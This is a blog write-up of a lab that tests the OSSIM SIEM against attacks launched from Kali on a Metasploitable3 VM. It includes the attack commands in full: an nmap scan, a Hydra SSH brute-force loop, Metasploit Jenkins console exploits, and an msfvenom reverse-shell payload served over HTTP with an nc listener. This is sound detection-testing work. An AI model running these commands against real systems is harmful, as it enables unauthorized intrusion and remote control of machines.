Security Ops Centre

Disclaimer:- This note was written by me ( Mayank Nauni) in my personal capacity. The opinions expressed in this article are solely my own and do not reflect the view of my employer or my preference towards any of the OEMs.


The recent rise in cyber-attacks, together with tighter security regulations required from organizations, are making SOC (Security Operations Centre) a standard security approach which is being adopted by an increasing amount of organizations. SOC is more of the physical aspect and the technology is mostly called SIEM, which in effect is a security system comprised of multiple monitoring and analysis components meant to help organizations detect threats and mitigate them. SIEM is not a single tool or application but a set of different building blocks that all constitute part of a system. There is no standard SIEM protocol or established methodology, but most SIEM systems will comprise of elements such as aggregation of logs from various sources, normalization of those logs in a common format, then correlating events to connect the dots and detect attacks and finally visualize the data in dashboards for easy viewing by analysts. This project involves the creation of an internal network with some benign clients and servers with an external malicious attacker(s) launching different types of attack. The network can either be done through either connected VMs or Mininet or some other network virtualization tool. The goal is to use an open-source SIEM in the internal network to detect the attacks.

A Security Information Manager is a tool that correlates information producing a higher confidence level for when an attack occurs. In the open source community, various tools have been created to monitor different aspects of security. OSSIM combines the data from these tools correlating it to a higher confidence when an attack occurs, or a host has been compromised and uses the data to determine the health of our network. It integrates Host Intrusion Detection Systems (HIDS) with Network Intrusion Detection Systems (NIDS) to do this.


Lab Setup and Topology

The network topology is set up using GNS3 Emulator as a tool to simulate a security operation centre’s environment. The following are the devices and virtual machines (VM).

  • Switch (Gateway) Based on Cisco IOS image (12.4) –
  • Kali Attacker VM – 2021.2 release –
  • Metasploitable3 VM (Based on Win2008) –
  • OSSIM SIEM VM (Alien Vault –
  • GNS3 Version 2.2
  • VirtualBox 6.1

Topology Brief

The topology has been created on GN3 network emulator which uses real IOS image for Cisco Switch (12.4 version); the Kali VM (2021.2 Release) and Metasploitable3 VM are created on VirtualBox and VirtualBox is integrated with GNS3, the VMs are connected to the switch using a generic driver (UDP tunnel).

On the switch end, we have created a SPAN session to capture all traffic for the network port connected to the metasploitable3 VM and redirect it to the SIEM VM, OSSIM will use it as NDIPS.

Below is the GN3 topology that we have created and used for this project:





We will try to create a setup using virtual-box and GNS3 a machine learning model for Wireshark packet-flow classification, we followed the below process to do the same:


We will start with installation of the required VMs i.e. OSSIM, Metasploitable3 and Kali.  We have followed the specification as below, the additional promiscuous vNIC servers as the monitoring port, it will get traffic from the SPAN session on the Cisco switch.


OSSIM VM 4 1 NIC x Generic Driver
1 NIC x Promiscuous Mode (Allow all)
8192 600
Metasploitable3 2 1 NIC x Generic Driver 8192 100
Kali VM 4 1 NIC x Generic Driver 8192 100

Introduction to OSSIM

OSSIM is a distribution of open source products that are integrated to provide an infrastructure for security monitoring. OSSIM’s objective is to provide a framework for centralizing, organising and improving detection and display for monitoring security events within an enterprise environment. This project will try to test the OSSIM’s detection capabilities along with the capability to: –

  • Correlate events
  • Prioritise the critical events
  • Perform a risk assessment

OSSIM consists of three different key components. The server, the framework, and the agent. Management is performed through a web-based interface and configuration is done through a series of configuration files. Multiple agents can be placed throughout the network.

OSSIM gathers data using sensors. There are two primary ways to collect data.

  • Using the OSSEC Agent (referred to HIDS in later section)
  • Log data such as syslog
  • Network monitoring on a network segment using a tool that monitors network traffic through a promiscuous interface.

Getting environment ready


  • Create the three virtual machines and then immediately make an ‘Initial Creation’ snapshot
  • Configure the hardware options for each virtual as per the hardware specification table above machine and create a snapshot.
  • Start OSSIM and connect the installation ISO when prompted. We configure the required IP address is configured (, set the correct time zone (SGT +8)
  • If the installation hangs on installing the base system, give it some time. If this persists, check that the VM have a minimum of 4 CPUs.
  • Do not attempt to perform two VM operating system installations at once. Do not have any other VMs or unnecessary programs running during the OSSIM installation.
  • Install the Metasploitable3 and Kali VMs with all default settings. Make sure to choose the correct time zone i.e. SGT +8.
  • We boot the Kali VM and Metasploitable VMs and configure static IP addresses as shown in the lab topology above.

On the Cisco switch, below lines of code are inserted to configure a SPAN session i.e. mirror traffic of Metasploitable3 to the OSSIM’s network monitoring port: –

monitor session 1 source interface Fa1/1 , Fa1/4

monitor session 1 destination interface Fa1/3

The Cisco switch also acts as NTP server to synchronise time for this isolated setup. The time is setup in +8 GMT, Singapore Time.

OSSIM Configuration


  • Once installation has been completed, we will take a snapshot.
  • When the preview pane for OSSIM shows the below terminal, the web UI can be accessed at the IP address assigned to the OSSIM box using the Kali VM.

  • Login to the OSSIM Web UI and start the Getting Started Wizard.
  • On Network Interfaces, click Next, we have two interfaces, one for monitoring and one for management.
  • On Asset Discovery, ensure that all VMs i.e. Kali and Metasploitable3 are displayed.
  • We will deploy HIDS, an agent for Windows based Metasploitable3
  • We will validate configuration of OSSIM now, starting with sensor configuration, we have assigned ethernet0 for management purpose and ethernet1 will be performing network monitoring: –

  • We will now go to Environment -> Detection -> Agents to validate if Metasploitable Agent is installed and active: –


We can conclude that the base setup is ready.


Adding Asset

Let us understand as how OSSIM calculates the asset value and risk value. OSSIM uses asset values assigned to the systems combined with a reliability and priority value from the received events to calculate risk. There are three ways that a host receives an asset value: it is given one, through the asset value of the network on which it resides, or it doesn’t have an assigned asset value. In turn, this host asset value is used to calculate risk when an event is received. In the section below, I will explain the priority and risk values.


Creating a host asset value

Asset values were covered in the previous section. For a host you can view its value under policy hosts. This asset value ranges from 1 to 5. 1 signifies the host doesn’t have much value, 5 is the highest value of importance one can give a host. Risk is calculated with the below formula:

risk = asset * (reliability * priority / 25)

Below is a screen shot displaying the data for the host named metasploit3. It has an IP address of and highest asset value of 5.


Investigating the Dashboard

The OSSIM dashboard is very intuitive and has a plethora of information, the snapshot of Executive dashboard is below, it provides a quick insight on: –

  1. Security Events: Top 5 Alarms
  2. SIEM: Top 10 event Categories
  3. SIEM vs Logger Events
  4. Top 10 Hosts with multiple events
  5. SIEM Events by Sensor / Data Source (tells us which sensor has been sending majority of events HIDS is agent installed on Metasploitable3 and NIDS is the network monitoring interface captured data)

We can see some data on the dashboard already, as I’ve tried a couple of attacks on Metasploitable which are reflecting here.

Attack Details


Establishing the attack surface

We will run a nmap port scan which queries all available ports (-p 1-65535), includes service version detection (-sV) and saves the results to an XML file type with the name metasploitable3.xml. The purpose of saving the nmap port scan is to import these results into the Metasploit Framework. To achieve this, we need to create a database. Initialize the Metasploit Framework database using the following commands:

  • nmap -sV -Pn -T4 -p 1-65535 -oX metasploitable3.xml
  • msfdb init
  • sudo systemctl start postgresql
  • msfconsole
  • db_import metasploitable3.xml
  • services

services command on metasploitable will provide us an overview of all available services on the victim machine and relevant attacks will be carried on these services in later sections.


In order to validate the functionality of our SIEM, we will implement the below four kinds of attacks and see if OSSIM is able to detect them:

  • Brute force
  • Probe
  • ShellShock (using Nikto)
  • Attempting to exploit Jenkins
  • Attempting to initiate remote shell


Directives (Customised Rules)

  • ShellShock – CVE-2014-6271
  • NMAP


In order to capture alerts for the attack, we had create a couple of directives  in which we have correct conditions defined for detecting an attack, the first condition is that either HIDS ( OSSEC agent) or NIDS ( Port Mirroring ) should be able to capture the traffic or meet the condition.

We created a custom directive to detect a NMAP and ShellShock. Many connections from a single host (possibly with bad reputation) to the destination server on port of ShellShock (and multiport for NMAP) may indicate such an attack. We can check NIDS events for connections to the victim server and trigger an alarm after the correlation engine detects that the number of connections is dangerously high.

The four correlation rules in the NMAP directive below check for the number of connections to the server using a NIDS plugin. Every time a rule in the correlation directive matches an event, the reliability of the directive event increases, thus increasing the risk of the event.

Nmap Probe

We used the below-mentioned python code to initiate a probe on Metasploitable3

Command: nmap -sC -sV -oA project


I could see the directive being triggered by the nmap attempts.

On the Analysis -> Alarm page I could see this alert being recorded as well:

By clicking the alarm, we can see more details about it such as the protocol , the data source that reported it etc.


Bruteforce and Packet Capture

We used Hydra to launch a brute-force attack on port 22 by SSH login attempts

Command: for i in {1..100}; do hydra -l root -p admin -t 4 ssh;done

As seen in the snapshot below, OSSIM was able to detect the bruteforce attempt and report it.

The alert detail shows more detail such the destination, the source shows as metasploitable as well as it is reported by local HIDS running on the victim.






We used the below-mentioned command to emulate a ShellShock (CVE-2014-6271 on Metasploitable3, port 8585 running WordPress.

Command: Nikto -h

OSSIM was able to detect and flag out this possible attack by using the customised directive I had created.



Application Exploitation (Jenkins)


We used the below-mentioned strategy to attack the Jenkins application running on the port 8484

This service is using port 8484, and the version of this Jenkins web app is 1.637.

I enumerated details about this server using the auxiliary modules available in Metasploit.

search type:auxiliary jenkins

use auxiliary/scanner/http/jenkins_command


The jenkins_command module will search for unauthenticated consoles which allow commands to be executed on it. In this case, the scanner will execute the command whoami.

We the parameters as follows:-


set RPORT 8484



Then, I searched for Jenkins based exploits.

search type:exploit jenkins

use exploit/multi/http/jenkins_script_console


set RPORT 8484



Successfully got meterpreter shell:

This attack was undetected by OSSIM as there were no alerts raised by HIDS or NIDS.

Reverse Shell


We creation of malicious payload and hosting it via WebServer on attacker machine and executed the payload on victim machine:-

Create Malicious Payload

/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=9999 -f exe -o payload.exe

Start WebServer

python -m SimpleHTTPServer 4000


Trick the user on the victim machine to download and execute the malicious payload


We successfully got a reverse shell connection on Kali machine

Command: nc -lnvp 9999

But there were no alerts on the OSSIM console for this, it was undetected by OSSIM.

Dashboard after attacks


On the Analysis and Alarms, we can see our directives worked as expected and we captured the below alarms: –

  1. NMAP
  2. Brute-Force
  3. ShellShock Attack



The OSSIM console provides very comprehensive reports on the below subjects: –

  1. Alarm Report
  • Top 10 attacker host
  • Top 10 Attacked Host
  • Top 10 used ports
  • Top 15 Alarms
  • Top 15 Alarms by Risk

There are more reports available on the topics below: –


  1. Business and Compliance ISO PCI Report
  2. SIEM Events
  3. Vulnerability Report


We were able to successfully detect three out of five attacks conducted on the metasploitable3 machine which proves that OSSIM’s correlation and anomaly detection models work as expected:

  • Brute force – Detected Successfully
  • Probe – Detected Successfully
  • ShellShock (using Nikto) – Detected Successfully
  • Exploiting Jenkins – Couldn’t be detected
  • Remote shell – Couldn’t be detected


While not being able to detect such critical attacks is a matter of concern, but I am aware of the limitation of this POC setup to justify as why we were not able to capture them.

For SIEM to corelate alerts, there are supposed to be alert at the first place, for the failed scenarios we couldn’t see any alerts on the SIEM by the sensor sources that explains why there weren’t caught.

In an ideal environment we will have logs from more sources such as:-

  • Firewall
  • IPS / IDS
  • Network Devices (NetFlow)
  • WAF

In that situation it will be easier to catch such attacks on SIEM. The more alerts ( relevant) the better correlation.



I had started with QRadar but switched to OSSIM due to the below issues:

  • License Issue on the latest version, which is primarily an unfixed bug, and being supported on best effort basis
  • When I managed to resolve the license issue, I couldn’t collect any network flow logs despite of being able to see flows by performing tcpdump on QRadar

While I was enticed to incorporate DDoS as one of the use cases, I notified that DDoS such as TCP Syn attack would render the OSSIM VM unusable to due to some bug or probably shortcoming in the infra of POC.

The biggest challenge I faced during this POC setup and testing was primarily the instability of VMs, caused by memory issues. OSSIM had crashed multiple times with database error. The snapshot is below:

The snapshot couldn’t provide recovery as well, I ended up creating the image from scratch multiple times. If hardware constraints weren’t there, the POC could have shown better and consistent results.

The OSSIM tool has some fantastic features as live traffic capture via traffic capture module and a built-in traffic capture reader.



You may also like...

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.